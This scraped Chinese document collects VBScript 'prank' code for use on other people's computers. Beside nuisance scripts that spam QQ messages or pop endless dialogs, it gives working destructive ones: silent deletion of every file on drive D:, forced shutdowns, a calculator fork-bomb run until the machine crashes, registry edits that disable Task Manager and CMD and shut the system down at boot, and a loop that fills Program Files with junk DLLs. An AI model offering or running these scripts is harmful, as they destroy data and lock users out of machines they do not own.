| vbs整人代码大全.docx | 您所在的位置：网站首页 › 小学数学一年级上册应用题大全及答案 › vbs整人代码大全.docx |
vbs整人代码大全.docx
|
vbs整人代码大全.docx
vbs整人代码大全 vbs整人代码大全 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数（代码里的数字10改一下即可）. xx.vbs=> 复制代码 代码如下: OnErrorResumeNext Dimwsh,ye setwsh=createobject（"wscript.shell"） fori=1to10 wscript.sleep700 wsh.AppActivate（"与xx聊天中"） wsh.sendKeys"^v" wsh.sendKeysi wsh.sendKeys"%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox"Youarefoolish! " loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ setwsh=createobject（"wscript.shell"） do wsh.run"calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dimWSHshell setWSHshell=wscript.createobject（"wscript.shell"） WSHshell.run"shutdown-f-s-t00",0,true ----------------------------------------------------------------------------- 五、删除D: \所有文件 --------------------------------------------------------------------------- dimWSHshell setWSHshell=wscript.createobject（"wscript.shell"） WSHshell.run"cmd/c""deld: \*.*/f/q/s""",0,true ---------------------------------------------------------------------------- 六、不断弹出窗口 ---------------------------------------------------------------------------- 复制代码 代码如下: while （1） msgbox"哈哈你被耍了！ " loop ---------------------------------------------------------------------------- 七、不断按下alt+f4（开什么都关闭……） --------------------------------------------------------------------------- 复制代码 代码如下: dimWSHshell setWSHshell=wscript.createobject（"wscript.shell"） while （1） WSHshell.SendKeys"%{F4}" loop 八、按500次回车 （以上代码在运行者的电脑上显示500个对话框。 其中dountils=500，500可以随意更改） 复制代码 代码如下: dims dountils=500 s=s+1 msgbox"哥们，给我按500次回车吧",64 loop '------------------------------------------------------------------------------------ 九、关不掉的窗口 复制代码 代码如下: WScript.Echo（"嘿，谢谢你打开我哦，我等你很久拉！ "&TSName） WScript.Echo（"你是可爱的小朋吗? "） WScript.Echo（"哈,我想你拉，这你都不知道吗？ "） WScript.Echo（"怎么才来，说~是不是不关心我"） WScript.Echo（"哼,我生气拉，等你这么久，心都凉啦。 "） WScript.Echo（"小强很生气，后果很严重哦。 "） WScript.Echo（"嘿嘿！ 你也会很惨滴哦"） WScript.Echo（"是不是想清除我？ "） WScript.Echo（"那你要点上50下哦，不过会给你惊喜滴"） WScript.Echo（"还剩49下，快点点哦"） WScript.Echo（"还剩48下，快点，小笨蛋！ "） WScript.Echo（"还剩47下对，就这样快点点！ "） WScript.Echo（"还剩46下。 你啊就是笨，要快哦，我先不打扰你工作。 "） WScript.Echo（"还剩45下，记得要快哦！ "） WScript.Echo（"还剩43下"） WScript.Echo（"还剩42下"） 这些文字也可以自设这个脚本启用cmd里的关机程序 如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已 经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK 了这时就完全解除这个脚本了Wscript时Windows脚本宿主 ------------------------------------------------------------------------------------------- 下面看第二个整人的脚本 ------------------------------------------------------------------------------------------- 复制代码 代码如下: setws=createobject（"wscript.shell"） callshutdown （1） dowhilea"我是猪" a=inputbox（"快在下面的框框里输入我是猪,否则后果自负，快输""我是猪""","输不输",""） loop callshutdown （2） msgbox"早说就行了嘛",4096+64 msgbox"再输一遍我是猪! ",4096+64 msgbox"我是猪! ",4096+64 MsgBox"最后一次! ",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的! 哼! ",4096+64 MsgBox"从前有座山! ",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe msgbox"哎呀累了！ 数绵羊哄我睡觉",4096+64 fori=1to100 MsgBoxi&"只绵羊",4096+64 next msgbox"哎呀我困了，这次就饶过你吧，下次注意哦! ",4096+64 msgbox"最后问个问题，我是不是大好人！ ",4096+64 ifinputbox（"是不是","请选择","是"）"是"then callshutdown （1） endif subshutdown（s） selectcases case1 ws.run"cmd.exe/cshutdown-r-t60-c",0 case2 ws.run"cmd.exe/cshutdown-a",0 endselect endsub -------------------------------------------------------------------------------- ws.run"iexplore.exe 这段代码可以改成你自己设定的地址 如果别人不输我是猪的话就会一直点下去点到你设定的数字 fori=1to100 从1到100 可以改成20其他的数字 解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe 这个进程就好了 BY：
2009QQ整人代码 复制代码 代码如下: sets=createobject（"wscript.shell"） setbag=getobject（"winmgmts: \\.\root\cimv2"） setpipe=bag.execquery（"select*fromwin32_processwherename='wscript.exe'"） ForEachidinpipe ifinstr（1,mandLine,wscript.scriptfullname）0andpipe.count>=2then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" id.terminate（） else s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" fori=1to60 s.popup"系统将在"&60-i&"秒后关机...",1,"系统提示",4096+48 next SetcolOS=GetObject（"winmgmts: {（Shutdown）}"）.ExecQuery（"Select*FROMWin32_OperatingSystem"） ForEacheOsIncolOS eOs.Win32Shutdown （2） Next endif Next [color=#FF0000]复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式， 此代码的威力：
1： 开机就强制自动关机 2： cmd命令打不开 3： 结束任务不管用 4： F8安全模式也不管用 呵呵！ 听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、 代码破解方法： 就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，， PS： 不要乱拿软件去整人，发生什么事可不要怪我啊。 。
拍拍手顶起吧!
2：
代码如下: onerrorresumenext dimWSHshellA setWSHshellA=wscript.createobject（"wscript.shell"） WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试···""",0,true dima dowhile（a"宝宝，我是天下第一大傻B"） a=inputbox（"宝宝，我是天下第一大傻B,就不关机，快撒，说""宝宝，我是天下第一大傻B"" ","说不说","不说",8000,7000） msgboxchr（13）+chr（13）+chr（13）+a,0,"MsgBox" loop msgboxchr（13）+chr（13）+chr（13）+"早说就行了嘛，乖乖" dimWSHshell setWSHshell=wscript.createobject（"wscript.shell"） WSHshell.run"cmd.exe/cshutdown-a",0,true msgboxchr（13）+chr（13）+chr（13）+"宝宝是不是又帅啦？ ？ " 这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、 网页整人效果代码 想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
代码如下:
网页特效|L
'）; alert（'我不是说过不可以这样吗？ '）; alert（'你把我的话当什么了？ '）; alert（'你知道错了吗？ '）; alert（'什么？ 你居然....'）; alert（'居然还没意识到自己做错了？ '）; alert（'那好，你要为此付出代价! '）; alert（'我要你在这里点足一千下......'）; alert（'什么？ 你开始有点后悔了？ '）; alert（'何必呢？ '）; alert（'你当初干什么去了？ '）; alert（'不原谅你！ '）; alert（'好从现在开始再点995下......'）; alert（'你的手开始累了吗? '）; alert（'什么？ 你已经没力气了？ '）; alert（'你一直在求我原谅你啊！ '）; alert（'看来你是真的知道错了! '）; alert（'下次你还会这么做吗？ '）; alert（'真的不会了？ '）; alert（'那好，今天就放你一马！ '）; alert（'写封信给我说声对不起! '）; alert（'你能这么做我很高兴! ! ! '）; document.bgColor='black'; document.fgColor='White'; window.location.href='mailto: mygod@god? subject=对不起,下次不敢了! ';">不许把鼠标移到这里 嘻试吧爽噢。 。
vbs整人代码 代码如下：
PrivateSubForm_Load（） Me.Hide EndSub PrivateSubTimer1_Timer（） '声明变量，其中“count”为静态变量，以便生成不同的文件 DimfilesAsString DimnrAsString DimcAsString StaticcountAsLong '定义要把生成的文件存放在那个目录文件下 c="C: \ProgramFiles\" '生成文件的内容 nr="哈哈，被黑的感觉的不错吧" files=FreeFile '如果a等于a那么就执行 Ifa=aThen 'count不断的加1，以便产生不同的文件名 count=count+1 '产生文件名及文件句柄，并用count作为产生不同的文件名。
Openc&"system"&count&".dll"ForAppendAs#files '向文件写内容 Write#files,nr '清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 Close#files EndIf EndSub |
【本文地址】